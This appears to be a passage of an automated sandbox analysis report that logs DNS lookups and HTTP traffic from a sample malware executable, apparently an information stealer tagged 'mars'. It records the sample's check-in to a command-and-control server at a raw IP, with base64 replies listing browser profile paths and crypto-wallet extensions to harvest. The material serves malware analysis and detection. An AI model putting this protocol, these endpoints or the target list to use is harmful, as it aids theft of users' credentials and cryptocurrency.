Nov 11, 2024 12:40:25.076029062 CET	1.1.1.1	192.168.2.6	0x175d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 12:40:25.831831932 CET	1.1.1.1	192.168.2.6	0x6ef7	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:25.832297087 CET	1.1.1.1	192.168.2.6	0xcd29	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:25.832297087 CET	1.1.1.1	192.168.2.6	0xcd29	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:28.148761988 CET	1.1.1.1	192.168.2.6	0x4f3e	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:28.148761988 CET	1.1.1.1	192.168.2.6	0x4f3e	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:28.193032026 CET	1.1.1.1	192.168.2.6	0x66a3	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:29.163589001 CET	1.1.1.1	192.168.2.6	0x28e0	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:29.163589001 CET	1.1.1.1	192.168.2.6	0x28e0	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:31.203902006 CET	1.1.1.1	192.168.2.6	0xc961	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:31.203902006 CET	1.1.1.1	192.168.2.6	0xc961	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:32.206541061 CET	1.1.1.1	192.168.2.6	0xc961	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:32.206541061 CET	1.1.1.1	192.168.2.6	0xc961	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:33.218620062 CET	1.1.1.1	192.168.2.6	0xc961	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:33.218620062 CET	1.1.1.1	192.168.2.6	0xc961	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:35.516319036 CET	1.1.1.1	192.168.2.6	0xc961	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:35.516319036 CET	1.1.1.1	192.168.2.6	0xc961	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:39.233270884 CET	1.1.1.1	192.168.2.6	0xc961	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:39.233270884 CET	1.1.1.1	192.168.2.6	0xc961	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:10.482964039 CET	1.1.1.1	192.168.2.6	0x6b40	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:10.515238047 CET	1.1.1.1	192.168.2.6	0x8eb1	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:10.540100098 CET	1.1.1.1	192.168.2.6	0xefa	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:10.565448999 CET	1.1.1.1	192.168.2.6	0xd442	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:10.590323925 CET	1.1.1.1	192.168.2.6	0x2870	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:10.614537001 CET	1.1.1.1	192.168.2.6	0x8fb5	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:10.637749910 CET	1.1.1.1	192.168.2.6	0x3f19	Name error (3)	navygenerayk.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:10.675502062 CET	1.1.1.1	192.168.2.6	0x474f	Name error (3)	scriptyprefej.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:10.685652018 CET	1.1.1.1	192.168.2.6	0xe35d	No error (0)	steamcommunity.com		23.50.98.133	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:12.017422915 CET	1.1.1.1	192.168.2.6	0x31fd	No error (0)	marshal-zhukov.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:12.017422915 CET	1.1.1.1	192.168.2.6	0x31fd	No error (0)	marshal-zhukov.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:20.415939093 CET	1.1.1.1	192.168.2.6	0x667d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 12:41:20.415954113 CET	1.1.1.1	192.168.2.6	0x705f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:20.415954113 CET	1.1.1.1	192.168.2.6	0x705f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:20.418806076 CET	1.1.1.1	192.168.2.6	0xf981	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:20.418806076 CET	1.1.1.1	192.168.2.6	0xf981	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:20.418961048 CET	1.1.1.1	192.168.2.6	0xa740	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 12:41:20.420315027 CET	1.1.1.1	192.168.2.6	0xdc15	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:20.420315027 CET	1.1.1.1	192.168.2.6	0xdc15	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:20.421165943 CET	1.1.1.1	192.168.2.6	0xfe00	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 12:41:23.199223042 CET	1.1.1.1	192.168.2.6	0x6b07	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:23.237643003 CET	1.1.1.1	192.168.2.6	0xa9c	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:23.261859894 CET	1.1.1.1	192.168.2.6	0xed73	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:23.290720940 CET	1.1.1.1	192.168.2.6	0xc2e0	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:23.348615885 CET	1.1.1.1	192.168.2.6	0xc970	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:23.382427931 CET	1.1.1.1	192.168.2.6	0x605a	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:23.408575058 CET	1.1.1.1	192.168.2.6	0x7acc	Name error (3)	navygenerayk.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:23.439294100 CET	1.1.1.1	192.168.2.6	0x2875	Name error (3)	scriptyprefej.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.548732996 CET	1.1.1.1	192.168.2.6	0xf4e2	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.574311972 CET	1.1.1.1	192.168.2.6	0x1096	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.585339069 CET	1.1.1.1	192.168.2.6	0x28f5	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.609039068 CET	1.1.1.1	192.168.2.6	0xe67e	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.635257006 CET	1.1.1.1	192.168.2.6	0x584	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.661042929 CET	1.1.1.1	192.168.2.6	0x7937	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.687725067 CET	1.1.1.1	192.168.2.6	0xbcbc	Name error (3)	navygenerayk.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.713778019 CET	1.1.1.1	192.168.2.6	0x31e1	Name error (3)	scriptyprefej.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.725513935 CET	1.1.1.1	192.168.2.6	0x259a	No error (0)	steamcommunity.com		23.192.247.89	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:43:14.837980032 CET	1.1.1.1	192.168.2.6	0xa12	No error (0)	steamcommunity.com		23.192.247.89	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:43:22.411006927 CET	1.1.1.1	192.168.2.6	0x61c6	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:43:22.411006927 CET	1.1.1.1	192.168.2.6	0x61c6	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:43:22.411139965 CET	1.1.1.1	192.168.2.6	0x8c87	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 12:43:24.581794024 CET	1.1.1.1	192.168.2.6	0x2c3c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:43:24.581794024 CET	1.1.1.1	192.168.2.6	0x2c3c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:43:24.581830978 CET	1.1.1.1	192.168.2.6	0x734	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	185.215.113.206	80	6404	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:40:04.199618101 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 12:40:05.469621897 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 12:40:05.469659090 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 12:40:05.469670057 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 12:40:05.473371029 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCBGIIJKEBFCBGDBAEB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 38 46 32 39 39 42 35 36 34 37 36 32 37 37 38 39 30 34 39 32 36 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 2d 2d 0d 0a Data Ascii: ------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="hwid"28F299B564762778904926------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="build"mars------FHCBGIIJKEBFCBGDBAEB--
Nov 11, 2024 12:40:05.693198919 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 7a 4e 69 59 7a 41 34 5a 6d 46 6b 59 6a 41 31 4e 54 59 34 59 6a 67 35 4d 54 56 6b 59 7a 4a 6c 4e 6d 55 78 4f 57 51 32 4e 32 45 7a 4d 54 6b 30 4e 44 63 32 59 54 67 32 5a 54 4d 30 4d 32 51 78 59 7a 49 34 4d 6a 4d 32 5a 47 51 7a 4d 54 55 34 4d 7a 55 78 4e 6d 4e 6a 4d 7a 59 34 5a 47 55 31 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NzNiYzA4ZmFkYjA1NTY4Yjg5MTVkYzJlNmUxOWQ2N2EzMTk0NDc2YTg2ZTM0M2QxYzI4MjM2ZGQzMTU4MzUxNmNjMzY4ZGU1fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 11, 2024 12:40:05.694259882 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 2d 2d 0d 0a Data Ascii: ------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="message"browsers------BGHJJDGHCBGDHIECBGID--
Nov 11, 2024 12:40:05.896471977 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 11, 2024 12:40:05.896500111 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 11, 2024 12:40:05.956415892 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKEHJEGCFBFHJJKJEHD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="message"plugins------FBKEHJEGCFBFHJJKJEHD--
Nov 11, 2024 12:40:06.159476995 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 11, 2024 12:40:06.159495115 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 11, 2024 12:40:06.159509897 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
